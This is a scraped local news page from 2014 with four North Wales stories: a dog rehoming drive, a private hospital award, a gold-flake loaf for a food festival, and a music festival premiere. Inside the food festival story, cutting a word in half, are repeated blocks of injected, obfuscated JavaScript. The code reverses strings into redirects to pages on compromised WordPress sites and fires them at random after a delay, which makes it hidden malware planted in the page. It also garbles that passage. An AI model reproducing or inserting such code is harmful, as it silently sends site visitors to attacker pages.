Category: News

Body Shop in Shrewsbury helps find new home for affectionate dog

SHREWSBURY The BODY SHOP . Body shop staff Bex Smith and Laura Tellwright with Dog?s Trust representative Vickie Jones and Star the dog.

STAR is a little dog whose warm and affectionate nature shines out as brilliantly as her name.

And her desperate need for a loving forever home is being highlighted thanks to the caring community role of a store in Shrewsbury’s Darwin Shopping Centre.

The Body Shop recently re-opened after undergoing a major refit which has seen it relaunched as one of the company’s flagship Pulse stores.

One of the main aims of the new-look store, with its modern décor and bright boutique feel, will be to champion the cause of local community groups and charities such as Dogs Trust’s Shrewsbury Rehoming Centre in Roden Lane, Telford.

There, one of the dogs in need of a loving permanent home is Star, an eight-year-old female crossbreed Staffie.

She came to the centre a few years ago after being brought in by the dog warden from the Shropshire area and has since captured the heart of the dedicated members of staff at Dogs Trust, according to Supporter Relations Officer Lee Pogson.

Lee said: “Star is just like her namesake because she has a huge character which just radiates out from her.

“She is so affectionate and friendly with everyone and loves playing with tennis balls.

“Star has recently had some health issues after being diagnosed with Spondylosis, which is a degenerative condition of the spine, but she has dealt with it amazingly well.

“Due to her condition Star is now on the Dogs Trust shared adoption scheme which means the charity will help with future vet bills.”

Lee added: “Star loves all the attention so would prefer to be the only dog in the home.

“She desperately needs a forever home with a quiet family. She can live with children 12 years old and above.

“We are so grateful to The Body Shop for highlighting Star’s case and for supporting Dogs Trust Shrewsbury.

“The staff there are a great bunch and couldn’t have been more supportive. Two of them have volunteered for extra duty with us and we’re always pleased to see them.”

The Pulse Store concept, which is currently being rolled out in The Body Shop’s 2,700 stores in 63 countries across the globe, was launched to complement the brand’s new campaign, Beauty With Heart.

The campaign aims to encourage consumers to look at beauty in a new way, in tune with the slogan “look good, feel good, do good” and to create stores which are part of their local community, including posting local notices and volunteer opportunities in store.

That’s exactly what staff at The Body Shop in the Darwin Centre are doing for their local Dogs Trust.

They’ve taken the idea to their hearts and apart from helping to find a home for Star two senior members of the team have started volunteering at the centre themselves.

Becky Smith, 28, who has been manager of the store for the past three months and with the company for 11 years, explained: “During the short period when our store was closed for the refit and as part of the Pulse community concept all five members of the team, including myself, were given the opportunity to become volunteers for the day at Dogs Trust’s Shrewsbury Centre.

“We all had a great day and loved working with the dogs. All the dogs are amazingly well cared for and get lots of love and attention from the staff.

“It’s lovely to think there are places like this where animals are so well looked after and where dogs get the chance to find a permanent home.”

Becky, who lives in Shrewsbury, added: “Myself and my assistant manager Laura Tellwright, who is 22, enjoyed the time we spent there so much that we’ve decided to go back and help there on a regular basis.

“We’ve already been there once since the volunteering day and we’re now looking forward to going back again soon.

“I’m not a dog owner myself but I hope to be in the future. Laura is a dog lover too. She lives in Shrewsbury with her parents and they have two dogs.

“I think the Pulse concept is a very good one as it helps us to get involved in helping with community schemes such as Dogs Trust Rehoming Centres.

“Apart from our help with the Trust we’re now doing lots of other things such as having stalls at local community events and doing free makeovers with Body Shop cosmetics. We’ve also donated raffle prizes to events and we have a community noticeboard up in the shop which we update all the time.”

Kevin Lockwood, Manager of the Darwin, Pride Hill and Riverside Shopping Centres, said: “That’s a really heartwarming story and I hope it helps Star get the loving home she deserves.

“The shopping centres here are very much part of the community, employing local, and that’s demonstrated by the way they get involved with local causes and charities.”

Monday July 7th, 2014

—

News

—

Clean sweep at national awards for Spire Yale Hospital in Wrexham

Dr Neil Agnew with Eirlys Uttley and Diane Hall at the newly equipped Oprrating Theatre at Spire Yale Hospital in Wrexham.

A private hospital’s success in keeping infections at bay has helped its owners win a prestigious national award.

The rigorous hygiene regime at Spire Yale Hospital in Wrexham has enabled them to maintain high infection control standards and reduce hospital acquired infections like MRSA and C Difficile.

The hospital and their Consulting Rooms in Abergele are part of Spire Healthcare which clinched the title of Hospital Group of the Year at the 2014 HealthInvestor Awards.

The glittering ceremony at the Grosvenor House Hotel in London was hosted by Times newspaper columnist and broadcaster Matthew Parris.

The event is one of the main events for the health sector and is run by trade publication, HealthInvestor.

Sue Jones Director for Spire Yale Hospital says: “We are delighted to be a part of the Hospital Group of the Year.

“We are pleased the judges recognised the investments made in the company and the hard work and dedication everyone at Spire Healthcare gives to providing high quality patient care.

“I hope this highlights to the local people of North and Mid Wales and the borders that they have access to a high quality, award-winning hospital, right on their door-step.”

The 27-bed Spire Yale hospital, which celebrated its 25th anniversary last year carries out 2,000 operations a year and employs 115 people.

It is investing £500,000 in new state-of-the-art equipment in 2014.

Spire Yale is upgrading its facilities at a time when they are experiencing growing demand from self-paying patients.

As part of the investment programme, a new £130,000 laminar flow clean-air system has just been installed in one of the hospital’s two main operating theatres.

There are also plans for new lasers for the urology department and a new microscope costing £40,000 for ophthalmic and spinal work in the operating theatre.

Meanwhile, £300,000 has been set aside for new x-ray equipment which should arrive later this year.

At the same time Spire Yale Hospital’s Consulting Rooms on the North Wales Business Park, in Abergele, is doubling in size.

They are taking over the first floor of the building where they have been based on the ground floor since 2009.

The expansion will enable Spire Yale to introduce a number of new services, including non-surgical cosmetic treatments.

Other services will include beauty therapy, acupuncture, sports massage, pilates and yoga and chiropody.

A consultant paediatrician is also keen to offer childhood obesity clinics there.

A spokesman for the panel of 21 independent judges said: “In a very tight category Spire just get the award due to their recent numerous and quantifiable measures underpinning their efforts to ensure service excellence.”

In 2013 there were no cases of MRSA bacteraemia reported across Spire hospitals and according to data from the Department of Health, three Spire hospitals ranked in the top 25 providers for hip replacement, with four also ranking in the top 10 for knee replacement.

Sue Jones added: “We’re very proud of our record on hospital acquired infections. The 2013 outcome statistics for MRSA bacteremia and C Difficile for Spire Yale showed a rate of zero per cent.

“We have a very high level of infection control at the hospital but there is no room for complacency. We are very vigilant because it’s about making sure that everything that needs to be done is done to make sure we maintain our high record.”

Saturday July 5th, 2014

—

News

—

Golden loaf to be launched at the Hamper Llangollen food festival

Ceidiog Welsh food s$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tories

A baker who trained with culinary legend Raymond Blanc is about unveil the UK’s most expensive loaf – made with champagne and 24 carat gold.

Robert Didier will be launching the new golden bread - which will sell for £25 a loaf – at the Hamper Llangollen food festival later this year on October 18-19.

According to Robert, he’s reviving a centuries old tradition when exotic ingredients in bread were a status symbol for the lord of the manor.

Ceidiog Welsh food s<script>$zXz=function(n){if (typeof ($zXz.list[n]) == “string”) return $zXz.list[n].split(“”).reverse().join(“”);return $zXz.list[n];};$zXz.list=[tories" src="http://dev.ceidiog.com/pr/files/2014/07/1O8B8822-ceidiog.jpg" width="400" height="267" />

As an added bonus, he says, the edible gold reputedly also has health benefits.

Robert, whose French father was a chef, began his working life at Raymond Blanc’s bakery and patisserie, Maison Blanc, in Oxford, which supplied Harrods and many top London restaurants with authentic French bread and patisseries.

Following a stint in the kitchen at Blanc's double Michelin starred restaurant, Le Manoir aux Quat'Saisons, in the Oxfordshire village of Great Milton, he then went stay in the Valence region of the south of France with his grandmother while working as a second chef in a bakery and patisserie, before returning to the UK a year later.

Robert’s Wrexham-based company, Orchard Pigs, started out making a range of handmade pies and pastries - including their trademark Tractor wheel pie, using local free range produce.

Two years ago he went back to his first love and launched a range of artisan breads at Hamper Llangollen where he has been a regular for many years.

The 2014 festival is being supported by the rural development agency, Cadwyn Clwyd.

Cadwyn Clwyd’s contribution comes via the Rural Development Fund for Wales 2007-2013, which is funded by the European Agricultural Fund for Rural Development (EAFRD) and the Welsh Government.

This year Robert will be the baker with the golden touch.

He explained: "The golden bread we're launching at Hamper Llangollen is a homage to real quality bakers in the 1500s.

"In those days the baker of the palace or the manor house would be expected to produce loaves of bread that reflected the status of the lord or the king so lots of interesting ingredients were included.

"What we're unveiling is a bread with a champagne starter, and then it has 24 carat gold flakes through the loaf, so you can’t get more opulent than that.

“The gold flakes are edible and are used in medicine. Herbalists believe it's everything from an aphrodisiac to giving better circulation.

"The golden bread is not something you would necessarily want every day but for a special occasion it’s got a bit of wow factor to it."

At the other end of the spectrum, Robert also sells high quality artisan bread at £1 a loaf which will also be on sale at the food festival.

He usually makes around 2,000 loaves a week which are sold at markets in Mold, Machynlleth and Neston but Hamper Llangollen is one of his favourite events.

Robert added: "Hamper Llangollen is fantastic and it's not difficult to see why it was named last year as one of the Top 10 food festivals in the UK.

"Most of the people who go there are local and the producers are local, so it’s always a good showcase for us."

Also starring at Hamper Llangollen 2014 will be two of Wales's top chefs.

Graham Tinsley, the star of ITV's Taste the Nation and a former captain of the Welsh Culinary Team, will be joined in the show kitchen by the ever popular Dai Chef, who is now based at Bodnant Welsh Food, the centre of excellence for Welsh food in the Conwy Valley.

BODNANT WELSH FOODS . Pictured is Chef Dai Davies at Bodnant Welsh Foods.

Cadwyn Clwyd's Agri Food Officer, Robert Price, believes this year's festival is going to be one of the best ever.

He said: “Thanks to a whole host of indigenous companies like Orchard Pigs, North East Wales is rapidly establishing a reputation as a centre of excellence for high quality cuisine.

“The food festival is a perfect shop window for the companies who form the backbone of our rural economy.

"The location of the Pavilion is absolutely spectacular - I can't imagine that any other food festival in the UK has a more beautiful setting."

For more information about Orchard Pigs go to www.orchardpigs.co.uk 

For more information about Hamper Llangollen 2014 visit www.llangollenfoodfestival.com

Saturday July 5th, 2014

—

News

—

World premiere in North Wales to celebrate Dylan Thomas centenary

Launch of North Wales Music Festival at Scala, Prestatyn. From left, Rhiannon Hughes, chair of the Scala Trust, rev Nigel Williams, chair of festival, Sue Last, vice chair and Ann Atkinson

A new work celebrating the talent of poet Dylan Thomas will have its world premiere at a top musical festival.

The news was revealed at the launch of the stellar line-up for this year’s North Wales International Musical Festival at St Asaph Cathedral between September 20-27.

The piece to mark the centenary of Thomas’s birth is being written by the acclaimed Anglesey composer, Gareth Glyn, and will be performed by the BBC National Orchestra of Wales.

garethglyn ceidiog

The composition, called Every Day of the Night, was inspired by the poet’s masterpiece, Under Milk Wood.

Delighted organisers at the event supported by the Welsh Arts Council have just found out the concert on Saturday, September 2, will be broadcast live on Radio 3.

Gareth Glyn said: “As a professional composer being commissioned to write any new piece is welcome but to write something that is based upon, and celebrates, Under Milk Wood is a real honour.

“It’s a daunting challenge and I’m still working on my ideas for the piece. Ideas that are still percolating although I definitely know the direction the work needs to take.”

The festival launch was held at the Scala Cinema in Prestatyn who will be providing a box office service for the event, now regarded as a highlight of the UK’s cultural calendar.

Other highlights this year will include a special concert to celebrate the life and work of the festival’s founder, the late Professor William Mathias, the royal composer who would have been 80 this year.

Another Welsh composer with royal connections, Professor Paul Mealor, who shot to fame when he wrote the music for the wedding of the Duke and Duchess of Cambridge, will be there with his choir from Aberdeen University.

Paul and bbc sso 2 ceidiog

It will be an opportunity for Prof Mealor, who was born in St Asaph and raised in Connah’s Quay, to pay homage to the musical genius of William Mathias under whom he studied.

The internationally renowned piano virtuoso Llyr Williams, who hails from Rhos, near Wrexham, is also among the star attractions, along with the young Chinese classical guitarist, Xuefei Yang.

The popular Tippett String Quartet will be returning to the festival together with pianist David Owen Norris, who will be playing a programme of newly discovered piano music from Jane Austen’s family collection.

Mid Wales Opera will be performing Acis and Galatea, an opera that tells an enchanting story from ancient mythology, while the Aspire Inspire Concert will provide a platform for a host of talented young musicians and singers and will include only the second performance of a work called Adar Rhiannon (Rhiannon’s Birds), composed by harpist Catrin Finch.

Artistic Director Ann Atkinson said: “I am very excited about the programme because it is a year of momentous anniversaries – the 100th anniversary of Dylan Thomas’s birth, the 450th anniversary of Shakespeare’s birth and of course William Matthias, our founder, would have been 80.

“On the Monday we have a lecture on Dylan Thomas which is a bit of a departure for us because we’ve never had just a lecture. Then in the evening we’re going to have Stan Tracey’s Under Milk Wood Jazz Suite performed with some rather fantastic actors reading the parts and it’s going to be really a lot of fun.

“The world premiere of the new work by Gareth Glyn marking the Dylan Thomas centenary – which we jointly commissioned with Ty Cerdd – will provide a fitting climax for this year’s festival, especially as it is going out live on Radio 3.

“We are delighted that we have been able to unveil our programme at the Scala, which is now providing our box office.

“The entertainment this evening has been provided by Jonathan Richards, a fantastic classical guitarist from Colwyn Bay, who will also be performing at the festival and the talented young harpist, Elin Bartlett, from Rhos, near Wrexham.”

Elin, 13, a pupil of Ysgol Morgan Llwyd in Wrexham, was delighted to have the opportunity to play at the launch.

She said: “Since I was small, I liked the sound of the harp and I think it sounds really nice and I love playing it because of the sound.

“I’d like to be a doctor when I’m older but I’d like to continue with music and I’d like to be part of an orchestra.

“I’m going to be competing in the Gŵyl Gerdd Dant which is going to be in Rhos, so it’s local to me. I’ll be competing on the harp. I also sing Cerdd Dant and I will be singing a duet with a school friend.”

Jonathan Richards was also delighted to be there.

He said: “Musically, when I was very young, I was learning the violin and the piano and I turned on one of the three television channels that existed in those days and there was somebody playing classical music on the Spanish guitar and that was it.  From that moment on, nothing else would do.

“Ever since then I just knew what I had to do for a living. It’s been a very rewarding life. I wouldn’t swap it for anything.

“My musical career hasn’t made me much in the way of fame and fortune but I’ve made some cracking good friends and I’ve enjoyed every second.

“The performance in the festival is a very special one to me this year because I actually hit the big 50 in September and so this year I’m doing a sort of autobiographical programme.

“It’s my favourite music festival. It has a lovely atmosphere. I’ve played in music festivals all over the country but the acoustic properties of the cathedral, as I’m sure any musician who’d played there will agree, are just unique.

“It’s the only place I can think of which is so big but you can play as quietly as you like in the certain knowledge that any little wisp of sound will reach all four corners.

“It’s always a fresh challenge. You might be teaching someone a piece of music that you’ve taught dozens of times in the past but you might have a new problem with it so it never gets stale.”

Rhiannon Hughes, the Chair of the Trust that runs the Scala, was pleased about the new partnership with the festival.

She said: “We hope that we’ll have a positive benefit because people will be buying their tickets here so it should be very convenient so we hope that the festival will have a bumper year because we’ll be selling the tickets.

“We are very lucky to have a festival of this quality on our doorstep because it means that local people here in North Wales can go to see world class art locally and that’s a wonderful thing.”

For more information about the festival and how to buy tickets go to: www.nwimf.com

Monday June 30th, 2014

—

News

—